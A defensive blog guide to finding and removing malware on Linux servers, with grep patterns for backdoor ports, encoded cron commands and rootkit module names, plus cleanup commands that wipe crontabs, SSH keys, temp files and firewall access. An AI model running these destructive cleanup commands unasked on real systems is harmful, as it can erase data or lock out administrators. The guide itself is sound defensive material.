← Back to Blog

Incident Response · 20 min read · July 1, 2026

How to Detect and Remove Malware from a Linux Server in 2026

Your Linux server is running slow. CPU is pegged at 100%. Outbound traffic spikes at 3 AM. These are telltale signs of malware infection. This guide walks you through every detection technique and removal procedure you need to clean your server and keep it clean.

How Malware Gets on Linux Servers in 2026

Linux malware is more prevalent than ever. Attackers no longer rely on clumsy scripts — they use AI-powered tooling to scan for vulnerabilities, brute-force SSH credentials, and deploy payloads automatically. The most common infection vectors in 2026 are:

• SSH brute force — automated credential stuffing against exposed SSH servers with weak passwords
• Unpatched web applications — WordPress, Laravel, and Node.js vulnerabilities exploited for remote code execution
• Docker container escapes — misconfigured containers with privileged mounts or exposed sockets
• Supply chain attacks — compromised npm, PyPI, or Docker Hub images containing hidden payloads
• AI-driven reconnaissance — automated agents that find and exploit vulnerabilities in under 90 seconds

Phase 1: Rapid Detection (5-Minute Check)

Run these checks in order. Each command reveals a different angle of potential compromise. If any of them flags something suspicious, proceed to Phase 2 for deeper investigation.

1. Identify unusual processes

ps aux --sort=-%cpu | head -30

Look for processes consuming abnormal CPU or memory. Cryptominers will peg all cores at 100%. Common malicious process names include httpd, mysql-safe, sysupdate, kworker — the names are designed to blend in. Always check the path: any process running from /tmp, /dev/shm, or /var/tmp is highly suspicious.

# Check for processes hiding from ps
ls /proc | grep -E '^[0-9]+$' | sort -n

Compare the PID list from /proc with your ps output. If a PID exists in /proc but not in ps, a rootkit is hiding processes from you.

2. Examine active network connections

ss -tunap | grep ESTAB
lsof -i -P -n | grep ESTABLISHED

Established connections to unfamiliar IP addresses are a major red flag. Cryptominers connect to mining pools on ports 3333, 4444, 8332, and 14444. C2 (command-and-control) traffic typically uses HTTPS on port 443 or 8443 to blend with legitimate web traffic.

Pay attention to processes making outbound connections that you did not initiate. Run ss -tunap | awk '{print $6}' | sort | uniq -c | sort -n to see which remote IPs have the most connections.

# Check listening services for backdoors
ss -tunlp | grep -E ':(31337|4444|6666|6667|10000|12345|54321)\b'

These are commonly used backdoor listener ports. If anything is listening on these, you have been compromised.

3. Inspect cron jobs

crontab -l
ls -la /etc/cron*
cat /etc/crontab /etc/cron.d/* 2>/dev/null | grep -v '^#'

Persistence via cron is the most common technique. Attackers install cron jobs that periodically download and execute payloads. Look for anything using wget, curl, bash -c, base64-encoded strings, or scripts in /tmp.

# Search for base64-encoded commands in cron
grep -r 'base64\|eval\|exec' /var/spool/cron/crontabs/ 2>/dev/null

Any base64-encoded payload in a cron job is malware. Do not decode it on the live system — record it for forensic analysis.

4. Check for unauthorised SSH keys

cat ~/.ssh/authorized_keys
ls -la /home/*/.ssh/authorized_keys 2>/dev/null
find /root /home -name 'authorized_keys' -newer /etc/passwd 2>/dev/null

Attackers install SSH keys to maintain persistent access that survives password resets. If you find a key you did not install, remove it immediately and investigate how it got there. Also check ~/.ssh/authorized_keys2, an older SSH format that attackers sometimes use to hide keys.

5. Scan common malware hideouts

ls -la /tmp /var/tmp /dev/shm /var/spool /var/spool/cron
find / -name '*.sh' -o -name '*.pl' -o -name '*.py' | xargs ls -la 2>/dev/null | head -30

Malware drops scripts and binaries in world-writable directories. Any executable scripts in /tmp or /dev/shm that are more than a few minutes old are suspicious. Legitimate processes do not run from /dev/shm (a RAM-backed filesystem).

Phase 2: Deep Investigation

If the rapid check found something suspicious, it is time to bring out the heavy tools.

Run a full ClamAV scan

# Install ClamAV
apt-get install clamav clamav-daemon -y

# Update virus definitions
freshclam

# Scan the entire filesystem
clamscan -r / --exclude-dir=/proc --exclude-dir=/sys --exclude-dir=/dev --log=/var/log/clamav-scan.log

# Check results
grep -E 'Infected|FOUND' /var/log/clamav-scan.log

ClamAV detects most known Linux malware families. It is not perfect — it relies on signature-based detection and will miss zero-day malware — but it catches the vast majority of commodity infections.

Check for rootkits with rkhunter and chkrootkit

# Install rootkit scanners
apt-get install rkhunter chkrootkit -y

# Run rkhunter
rkhunter --check --skip-keypress

# Run chkrootkit
chkrootkit

These tools check for known rootkit signatures, hidden processes, modified system binaries, and suspicious kernel modules. A positive result from either tool should be treated as a confirmed compromise.

Verify system binary integrity

# Debian/Ubuntu
dpkg --verify 2>/dev/null | grep -E '\s/bin|\s/sbin|\s/usr'

# RHEL/CentOS/Fedora
rpm -Va 2>/dev/null | grep -E '\s/bin|\s/sbin|\s/usr'

This checks the integrity of every packaged file against its checksum. Modified system binaries are a hallmark of rootkit infections. A common tactic is replacing ps, ss, ls, top, or netstat with trojaned versions that hide the attacker's processes.

Inspect kernel modules

lsmod
# Check for known-bad modules
lsmod | grep -iE 'hide|sneak|root|back'

Loadable Kernel Module (LKM) rootkits are the most dangerous type of infection. They operate at the kernel level, making them invisible to most user-space tools. Any kernel module you do not recognise should be investigated immediately.

Audit the firewall for backdoors

iptables -L -n -v
iptables -t nat -L -n -v
ip6tables -L -n -v

Attackers often add iptables rules to forward traffic, open backdoor ports, or redirect DNS traffic to malicious servers. Look for NAT rules that redirect traffic to internal IPs or ACCEPT rules on high-numbered ports.

Check systemd for persistence

# List all enabled services
systemctl list-unit-files --state=enabled

# Check for suspicious service files
ls -la /etc/systemd/system/
cat /etc/systemd/system/*.service 2>/dev/null | grep -E 'ExecStart|User|Restart'

# Look for timers
systemctl list-timers --all

Modern malware increasingly uses systemd services and timers for persistence instead of cron. A service file in /etc/systemd/system/ that executes a script from /tmp is a clear compromise indicator.

Phase 3: Malware Removal

Once you have identified the infection, follow these steps to remove it. Document everything you do for your incident response records.

1. Isolate the server

Disconnect the server from the network or apply a restrictive firewall immediately to prevent the malware from communicating with its C2 server or spreading to other systems.

# Emergency firewall block (modify for your interface)
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP
# Allow only your SSH IP
iptables -A INPUT -p tcp --dport 22 -s YOUR_SSH_IP -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

2. Kill malicious processes

# Identify the PID from ps aux output
kill -9 PID

# Force-kill all processes running from /tmp
fuser -k /tmp/malware_binary 2>/dev/null

# Verify the process is gone
ps aux | grep malcious_process_name

After killing a process, immediately check if it respawns. Many malware families have watchdog processes that re-infect the system. If the process comes back, you missed its persistence mechanism.

3. Remove persistence mechanisms

# Remove malicious cron jobs
crontab -r          # Wipes all cron jobs (use with caution)
# Or edit manually:
crontab -e

# Remove malicious systemd services
systemctl stop SERVICE_NAME
systemctl disable SERVICE_NAME
rm /etc/systemd/system/SERVICE_NAME.service
systemctl daemon-reload

# Delete malicious SSH keys
rm ~/.ssh/authorized_keys
# Re-add your legitimate keys afterwards

4. Delete malware files and directories

# Remove files identified by ClamAV or manual inspection
rm -rf /tmp/malware_dir /dev/shm/malware_file

# Remove downloaded payloads
find /tmp /var/tmp /dev/shm -type f -exec rm -f {} \; 2>/dev/null

5. Scan and clean with ClamAV removal

# Remove infected files (use --remove carefully)
clamscan -r / --remove --exclude-dir=/proc --exclude-dir=/sys --exclude-dir=/dev

# Or move to quarantine:
clamscan -r / --move=/quarantine --exclude-dir=/proc --exclude-dir=/sys --exclude-dir=/dev

6. Change all credentials

After removing the malware, change every password and key on the system:

• Root password and all user passwords
• SSH keys (generate new ones)
• Database passwords (MySQL, PostgreSQL, MongoDB)
• API keys and tokens used by applications
• Any service account credentials stored on the server

7. Patch the entry point

The attacker got in somehow. Find and fix the vulnerability before the system gets compromised again:

# Update all packages
apt-get update && apt-get upgrade -y
# Or on RHEL:
yum update -y

# Check for outdated packages with known CVEs
apt-get --just-print upgrade | grep -i security

When to Wipe and Reinstall

There are situations where removal is not enough:

• Rootkit confirmed. If rkhunter or chkrootkit found a rootkit, or if dpkg --verify showed modified system binaries, wipe and restore from backup. You can never trust a system that has hosted a rootkit.
• Unknown persistence mechanism. If the malware keeps coming back and you cannot find how, reinstall. The attacker may have implanted firmware, bootkit, or hypervisor-level code.
• Data exfiltration confirmed. If sensitive data was stolen, containment and forensic preservation take priority over cleanup.

Post-Removal Hardening

Once the server is clean, harden it to prevent reinfection:

# Disable root SSH login
sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
systemctl restart sshd

# Configure UFW
ufw default deny incoming
ufw default allow outgoing
ufw allow ssh
ufw enable

# Install fail2ban
apt-get install fail2ban -y
systemctl enable fail2ban
systemctl start fail2ban

# Set up automatic security updates
apt-get install unattended-upgrades -y
dpkg-reconfigure -plow unattended-upgrades

Why Manual Removal Is Not a Long-Term Strategy

The steps in this guide are effective for known, commodity malware. But they have critical limitations:

• Detection gaps. Signature-based scanners like ClamAV miss zero-day malware and polymorphic strains that change their code on every execution.
• Timing. By the time you notice something is wrong and run these checks, the attacker may have already exfiltrated data or moved laterally to other systems.
• Sophisticated threats. AI-powered malware actively evades manual detection — it detects when you SSH in and hides its processes, only to resume activity when you leave.

This is why continuous automated monitoring is the only reliable defense. A real-time detection system watches every process, connection, and file change 24/7, alerting you the moment something looks wrong — not when you notice your server is slow at 3 AM.